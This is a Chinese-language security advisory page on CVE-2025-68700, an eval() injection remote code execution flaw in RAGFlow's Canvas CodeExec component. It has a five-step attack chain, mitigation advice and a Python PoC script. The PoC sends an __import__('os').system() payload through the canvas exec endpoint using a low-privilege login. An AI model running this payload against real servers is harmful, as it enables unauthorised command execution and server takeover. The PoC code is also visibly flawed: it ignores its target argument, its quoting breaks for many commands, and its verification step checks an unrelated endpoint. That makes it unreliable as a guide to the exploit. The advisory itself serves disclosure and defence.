IPBUF安全漏洞报告
English
CVE-2025-68700 CVSS 8.8 高危

CVE-2025-68700 RAGFlow Canvas CodeExec远程代码执行漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-68700
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RAGFlow

相关标签

远程代码执行RAGFloweval()注入权限绕过沙箱逃逸CVSS 8.8高危漏洞

漏洞概述

RAGFlow是一款开源的RAG(检索增强生成)引擎。CVE-2025-68700是高危漏洞,CVSS评分8.8。漏洞源于RAGFlow 0.23.0之前版本中的Canvas CodeExec组件存在严重的安全缺陷。低权限认证用户(普通登录账户)可通过前端Canvas CodeExec组件在服务器宿主进程上执行任意系统命令,完全绕过沙箱隔离机制。攻击者利用untrusted数据(stdout)通过eval()函数进行解析,且没有任何过滤或沙箱保护。设计初衷是“自动将字符串结果转换为Python对象”,但实际上执行了攻击者控制的代码。此外,多个端点缺乏访问控制或包含反向权限逻辑,大大扩展了攻击面并使链式利用成为可能。攻击者可在无需特殊权限的情况下,通过Web界面直接获取服务器最高权限,窃取敏感数据、植入后门或横向移动。

技术细节

漏洞核心问题在于Canvas CodeExec组件使用Python的eval()函数直接解析未经过滤的用户输入。在RAGFlow的代码执行流程中,当用户在Canvas中执行代码时,stdout输出被直接传递给eval()进行解析。攻击者可以通过构造特定的Python代码,使stdout包含恶意代码片段,eval()会执行这些代码。例如,如果代码输出包含__import__('os').system('malicious_command'),eval()会将其作为Python表达式执行。由于eval()没有任何沙箱限制,恶意代码可以在服务器进程中以运行RAGFlow的用户的权限执行。此外,/api/v1/canvas/* 端点缺少适当的权限检查,/api/v1/retrieval/test_connection 等端点存在反向权限逻辑(允许低权限用户访问本应仅管理员可用的功能),进一步扩大了攻击面。攻击者可以通过组合利用多个端点实现链式攻击:先用低权限账号登录,访问Canvas执行代码,利用权限漏洞提权,最终获得服务器完全控制权。

攻击链分析

STEP 1
步骤1
攻击者获取RAGFlow低权限账号(普通用户账户)
STEP 2
步骤2
通过/api/v1/canvas/exec端点注入恶意Python代码,利用eval()函数无过滤执行特性
STEP 3
步骤3
构造包含__import__('os').system()的payload,使stdout输出恶意代码被eval()执行
STEP 4
步骤4
利用/api/v1/retrieval/*端点的权限漏洞进行链式利用,提权或扩大攻击面
STEP 5
步骤5
成功在服务器宿主进程执行任意系统命令,完全绕过沙箱隔离

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68700 RAGFlow RCE PoC # Target: RAGFlow < 0.23.0 # Attack Vector: Canvas CodeExec via eval() injection import requests import json TARGET = "http://target:9380" LOGIN_URL = f"{TARGET}/api/v1/login" EXEC_URL = f"{TARGET}/api/v1/canvas/exec" def exploit(target_ip, username, password, cmd="id"): """Exploit CVE-2025-68700 to achieve RCE""" session = requests.Session() # Step 1: Login with low-privilege account login_data = {"email": username, "password": password} resp = session.post(LOGIN_URL, json=login_data) if resp.status_code != 200: print(f"[-] Login failed: {resp.text}") return None print(f"[+] Logged in as {username}") # Step 2: Inject malicious code via Canvas CodeExec # The stdout is parsed by eval() without sanitization payload = f"__import__('os').system('{cmd}')" exec_data = { "code": f"print('{payload}')", "session_id": "exploit_session" } resp = session.post(EXEC_URL, json=exec_data) print(f"[*] Code execution response: {resp.text}") # Step 3: Verify RCE via /api/v1/retrieval/test_connection (inverted permissions) test_url = f"{TARGET}/api/v1/retrieval/test_connection" resp = session.get(test_url) print(f"[*] Privilege escalation check: {resp.status_code}") return resp.json() if __name__ == "__main__": import sys if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password> [cmd]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] cmd = sys.argv[4] if len(sys.argv) > 4 else "id" exploit(target, user, pwd, cmd)

影响范围

RAGFlow < 0.23.0

防御指南

临时缓解措施
立即将RAGFlow升级到0.23.0或更高版本以应用官方安全补丁。如无法立即升级,可临时禁用Canvas CodeExec功能,配置网络访问控制限制管理接口暴露,并启用审计日志监控可疑活动。建议同时审查所有API端点的权限配置,确保遵循最小权限原则。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表